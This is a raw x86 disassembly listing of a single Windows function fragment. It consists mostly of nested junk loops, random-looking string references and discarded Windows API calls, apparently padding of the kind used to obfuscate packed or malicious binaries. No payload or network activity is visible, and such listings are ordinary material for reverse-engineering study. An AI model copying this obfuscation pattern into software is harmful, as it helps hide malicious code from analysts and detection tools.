mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0x73d6
jge 0x456617
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x68]
shl eax, cl
cdq
mov dword [ebp - 0x2a4], eax
mov dword [ebp - 0x2a0], edx
push dword [ebp - 0x2a0]
push dword [ebp - 0x2a4]
mov ecx, 0xabd2e0
call fcn.004825e1
jmp 0x4565da
jmp 0x4565c4
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
push dword [ebp - 0x2ac]
push dword [ebp - 0x2b0]
mov ecx, 0xabd2e0
call fcn.004825e1
mov dword [ebp - 4], 0x22
cmp dword [ebp - 0x1a8], 0x2684
jge 0x45665a
mov edx, dword [ebp - 0x37c]
mov ecx, 0xabd2e0
call fcn.00483a8f
jmp 0x456676
or dword [ebp - 4], 0xffffffff
jmp 0x456680
jmp 0x456566
jmp 0x45654c
mov dword [ebp - 4], 0x24
cmp dword [ebp - 0x1b0], 0x28fd
jge 0x4566ad
mov edx, dword [ebp - 0x290]
mov ecx, 0xabd2e0
call fcn.00483a8f
jmp 0x4566c9
or dword [ebp - 4], 0xffffffff
jmp 0x4566d3
cmp dword [ebp - 0x3a4], 0
je 0x4566f0
push 0
push dword [ebp - 0x39c]
push dword [ebp - 0x3a0]
call dword [ebp - 0x3a4]
mov dword [ebp - 0x1d0], 0x3b38
mov dword [ebp - 0x2a8], str.szea_qcqc_iqt_yjie_pobtaw
cmp dword [ebp - 0x1d0], 0x3e6a
jle 0x456769
and dword [ebp - 0x70], 0
jmp 0x45671d
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0x7604
jge 0x456769
and dword [ebp - 0x78], 0
jmp 0x456733
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0x5dee
jge 0x456767
mov eax, dword [ebp - 0x70]
and eax, dword [ebp - 0x78]
cdq
mov dword [ebp - 0x2bc], eax
mov dword [ebp - 0x2b8], edx
push dword [ebp - 0x2b8]
push dword [ebp - 0x2bc]
mov ecx, 0xabd2e0
call fcn.004825e1
jmp 0x45672c
jmp 0x456716
mov dword [ebp - 4], 0x26
mov dword [ebp - 0x1c0], 0x7734
mov dword [ebp - 0x29c], str.vbofmww_rynh_mwqui_afyhkc
cmp dword [ebp - 0x1c0], 0x7944
jle 0x45687d
and dword [ebp - 0x90], 0
jmp 0x4567aa
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0x1e30
jge 0x45687d
and dword [ebp - 0x80], 0
jmp 0x4567c7
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0x2a79
jge 0x456878
and dword [ebp - 0x88], 0
jmp 0x4567ea
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0x7673
jge 0x456873
and dword [ebp - 0x98], 0
jmp 0x45680c
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0x6b77
jge 0x45686e
mov eax, dword [ebp - 0x80]
add eax, dword [ebp - 0x88]
and eax, dword [ebp - 0x90]
or eax, dword [ebp - 0x98]
cdq
mov dword [ebp - 0x2c8], eax
mov dword [ebp - 0x2c4], edx
push dword [ebp - 0x2c4]
push dword [ebp - 0x2c8]
lea ecx, [ebp - 0x428]
call fcn.00452867
pop ecx
pop ecx
mov ecx, eax
call fcn.004029a6
push eax
call fcn.00487285
pop ecx
lea ecx, [ebp - 0x428]
call fcn.00402793
jmp 0x4567ff
jmp 0x4567dd
jmp 0x4567c0
jmp 0x45679d
cmp dword [ebp - 0x1b8], 0x5a27
jge 0x456899
mov edx, dword [ebp - 0x358]
mov ecx, 0xabd2e0
call fcn.00483a8f
mov byte [ebp - 4], 0x27
cmp dword [ebp - 0x1c0], 0x73a6
jge 0x4568b5
push dword [ebp - 0x29c]
call fcn.00487285
pop ecx
jmp 0x4568d1
mov dword [ebp - 4], 0x26
jmp 0x4568e1
jmp 0x456a79
or dword [ebp - 4], 0xffffffff
jmp 0x456a83
mov dword [ebp - 4], 0x2c
cmp dword [ebp - 0x1d0], 0x38b7
jge 0x456aa6
mov edx, dword [ebp - 0x2a8]
mov ecx, 0xabd2e0
call fcn.00483a8f
jmp 0x456ac2
or dword [ebp - 4], 0xffffffff
jmp 0x456acc
mov dword [ebp - 0x1f8], 0x41c1
mov dword [ebp - 0x1d8], 0x433c
mov dword [ebp - 0x364], str.lokecdpt_rbddmlhc_bwfs_enjoulj_gyaopmsdc_fovhep_tvbjasihn_qcn_iqyek_ywnsn_qzm_ruaha_fzkotrrpa_enn
cmp dword [ebp - 0x1d8], 0x43c5
jle 0x456bee
push 0x6af
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
and dword [ebp - 0xc0], 0
jmp 0x456b29
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0x3e7e
jge 0x456bee
and dword [ebp - 0xc8], 0
jmp 0x456b4f
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0x71ce
jge 0x456be9
and dword [ebp - 0xd0], 0
jmp 0x456b75
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0x3c87
jge 0x456be4
and dword [ebp - 0xd8], 0
jmp 0x456b97
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 0x4692
jge 0x456be2
mov eax, dword [ebp - 0xc0]
or eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xd0]
xor ecx, dword [ebp - 0xd8]
or eax, ecx
cdq
mov dword [ebp - 0x2e0], eax
mov dword [ebp - 0x2dc], edx
push dword [ebp - 0x2dc]
push dword [ebp - 0x2e0]
mov ecx, 0xabd2e0
call fcn.004825e1
jmp 0x456b8a
jmp 0x456b68
jmp 0x456b42
jmp 0x456b1c
mov dword [ebp - 0x370], str.efejivb_nffnsnwdh_zoagihb_ewrsadwu_jzsvlni_caxemoqy_lgwmj
mov dword [ebp - 4], 0x2e
cmp dword [ebp - 0x1d8], 0x403c
jge 0x456c1b
mov edx, dword [ebp - 0x364]
mov ecx, 0xabd2e0
call fcn.00483a8f
jmp 0x456c37
or dword [ebp - 4], 0xffffffff
jmp 0x456c41
cmp dword [ebp - 0x1f8], 0x4370
jle 0x456faf
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
and dword [ebp - 0x108], 0
jmp 0x456c6f
mov eax, dword [ebp - 0x108]
inc eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0x859
jge 0x456faf
and dword [ebp - 0xf8], 0
jmp 0x456c95
mov eax, dword [ebp - 0xf8]
inc eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0x27ee
jge 0x456faa
and dword [ebp - 0x100], 0
jmp 0x456cbb
mov eax, dword [ebp - 0x100]
inc eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0xcd6
jge 0x456fa5
and dword [ebp - 0x110], 0
jmp 0x456ce1
mov eax, dword [ebp - 0x110]
inc eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0x7459
jge 0x456fa0
mov dword [ebp - 0x1e0], 0x3101
mov dword [ebp - 0x21c], str.snhxspam_inrlbtxki_owayac_bil
cmp dword [ebp - 0x1e0], 0x32d7
jle 0x456dce
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetFocus]
and dword [ebp - 0xe0], 0
jmp 0x456d38
mov eax, dword [ebp - 0xe0]
inc eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0x97c
jge 0x456dce
and dword [ebp - 0xe8], 0
jmp 0x456d5e
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0x7f66
jge 0x456dc9
and dword [ebp - 0xf0], 0
jmp 0x456d80
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 0x7b42
jge 0x456dc7
mov eax, dword [ebp - 0xe0]
cdq
idiv dword [ebp - 0xe8]
imul edx, dword [ebp - 0xf0]
mov eax, edx
cdq
mov dword [ebp - 0x2f0], eax
mov dword [ebp - 0x2ec], edx
push dword [ebp - 0x2ec]
push dword [ebp - 0x2f0]
mov ecx, 0xabd2e0
call fcn.004825e1
jmp 0x456d73
jmp 0x456d51
jmp 0x456d2b
mov ecx, dword [ebp - 0xf8]
sub ecx, dword [ebp - 0x100]
mov eax, dword [ebp - 0x108]
sar eax, cl
or eax, dword [ebp - 0x110]
cdq
mov dword [ebp - 0x310], eax
mov dword [ebp - 0x30c], edx
mov dword [ebp - 4], 0x30
cmp dword [ebp - 0x1e0], 0x2fcb
jge 0x456e18
mov edx, dword [ebp - 0x21c]
mov ecx, 0xabd2e0
call fcn.00483a8f
jmp 0x456e34
or dword [ebp - 4], 0xffffffff
jmp 0x456e3e
mov dword [ebp - 0x1e8], 0x5578
mov dword [ebp - 0x384], str.itu_njra_pkfhlmot_dheu_lvc_apl_dpvhacj_bshw_ljcjkoep_hwjz_grouv
cmp dword [ebp - 0x1e8], 0x5746
jle 0x456f40
call dword [sym.imp.USER32.dll_GetCaretBlinkTime]
and dword [ebp - 0x128], 0
jmp 0x456e7e
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0x7070
jge 0x456f32
and dword [ebp - 0x118], 0
jmp 0x456ea4
mov eax, dword [ebp - 0x118]
inc eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0x442d
jge 0x456f2d
and dword [ebp - 0x120], 0
jmp 0x456ec6
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0x4d2a
jge 0x456f28
mov eax, dword [ebp - 0x118]
cdq
idiv dword [ebp - 0x120]
add edx, dword [ebp - 0x128]
mov eax, edx
cdq
mov dword [ebp - 0x300], eax
mov dword [ebp - 0x2fc], edx
push dword [ebp - 0x2fc]
push dword [ebp - 0x300]
lea ecx, [ebp - 0x47c]
call fcn.00452867
pop ecx
pop ecx
mov ecx, eax
call fcn.004029a6
push eax
call fcn.00487285
pop ecx
lea ecx, [ebp - 0x47c]
call fcn.00402793
jmp 0x456eb9
jmp 0x456e97
jmp 0x456e71
push 0
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_VariantTimeToDosDateTime]
push dword [ebp - 0x30c]
push dword [ebp - 0x310]
mov ecx, 0xabd2e0
call fcn.004825e1
mov dword [ebp - 4], 0x32
cmp dword [ebp - 0x1e8], 0x539d
jge 0x456f75
push dword [ebp - 0x384]
call fcn.00487285
pop ecx
jmp 0x456f91
or dword [ebp - 4], 0xffffffff
jmp 0x456f9b
jmp 0x456cd4
jmp 0x456cae
jmp 0x456c88
jmp 0x456c62
mov dword [ebp - 0x1f0], 0x6856
mov dword [ebp - 0x2c0], str.rjwly_rlyefstrw_gezsjvvpd_leniix_goszj_aojo_rhbampue_pcavfj_whlboe_mhixma_kdv
cmp dword [ebp - 0x1f0], 0x68d2
jle 0x4570d1
and dword [ebp - 0x130], 0
jmp 0x456fe9
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0x21e6
jge 0x4570d1
and dword [ebp - 0x138], 0
jmp 0x45700f
mov eax, dword [ebp - 0x138]
inc eax
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 0x33dc
jge 0x4570cc
and dword [ebp - 0x140], 0
jmp 0x457035
mov eax, dword [ebp - 0x140]
inc eax
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0x4eae
jge 0x4570c7
and dword [ebp - 0x148], 0
jmp 0x45705b
mov eax, dword [ebp - 0x148]
inc eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 0x2fc9
jge 0x4570c2
mov eax, dword [ebp - 0x130]
and eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x140]
add ecx, dword [ebp - 0x148]
xor eax, ecx
cdq
mov dword [ebp - 0x320], eax
mov dword [ebp - 0x31c], edx
push dword [ebp - 0x31c]
push dword [ebp - 0x320]
lea ecx, [ebp - 0x4ac]
call fcn.00452867
pop ecx
pop ecx
mov ecx, eax
call fcn.004029a6
push eax
call fcn.00487285
pop ecx
lea ecx, [ebp - 0x4ac]
call fcn.00402793
jmp 0x45704e
jmp 0x457028
jmp 0x457002
jmp 0x456fdc
jmp 0x457579
mov dword [ebp - 4], 0x3a
cmp dword [ebp - 0x208], 0x6dc
jge 0x45745c
mov dword [ebp - 0x210], 0x10b9
mov dword [ebp - 0x2d8], str.ixl_zpt_doecsd_lcloa_kjhhe_ofug_sjvfy_msw_ogdj
cmp dword [ebp - 0x210], 0x12d1
jle 0x457404
and dword [ebp - 0x188], 0
jmp 0x45731e
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 0x166d
jge 0x457404
and dword [ebp - 0x170], 0
jmp 0x457344
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 0x70d4
jge 0x4573ff
and dword [ebp - 0x178], 0
jmp 0x45736a
mov eax, dword [ebp - 0x178]
inc eax
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 0x31bb
jge 0x4573fa
and dword [ebp - 0x180], 0
jmp 0x457390
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 0x7bdd
jge 0x4573f5
mov eax, dword [ebp - 0x170]
and eax, dword [ebp - 0x178]
xor eax, dword [ebp - 0x180]
or eax, dword [ebp - 0x188]
cdq
mov dword [ebp - 0x338], eax
mov dword [ebp - 0x334], edx
push dword [ebp - 0x334]
push dword [ebp - 0x338]
lea ecx, [ebp - 0x50c]
call fcn.00452867
pop ecx
pop ecx
mov ecx, eax
call fcn.004029a6
push eax
call fcn.00487285
pop ecx
lea ecx, [ebp - 0x50c]
call fcn.00402793
jmp 0x457383
jmp 0x45735d
jmp 0x457337
jmp 0x457311
mov edx, dword [ebp - 0x394]
mov ecx, 0xabd2e0
call fcn.00483a8f
mov byte [ebp - 4], 0x3b
cmp dword [ebp - 0x210], 0xdc1
jge 0x457430
push dword [ebp - 0x2d8]
call fcn.00487285
pop ecx
jmp 0x45744c
mov dword [ebp - 4], 0x3a
jmp 0x45745c
jmp 0x457564
or dword [ebp - 4], 0xffffffff
jmp 0x45756e
mov eax, dword [ebp + 8]
inc eax
push eax
call fcn.00462209
pop ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret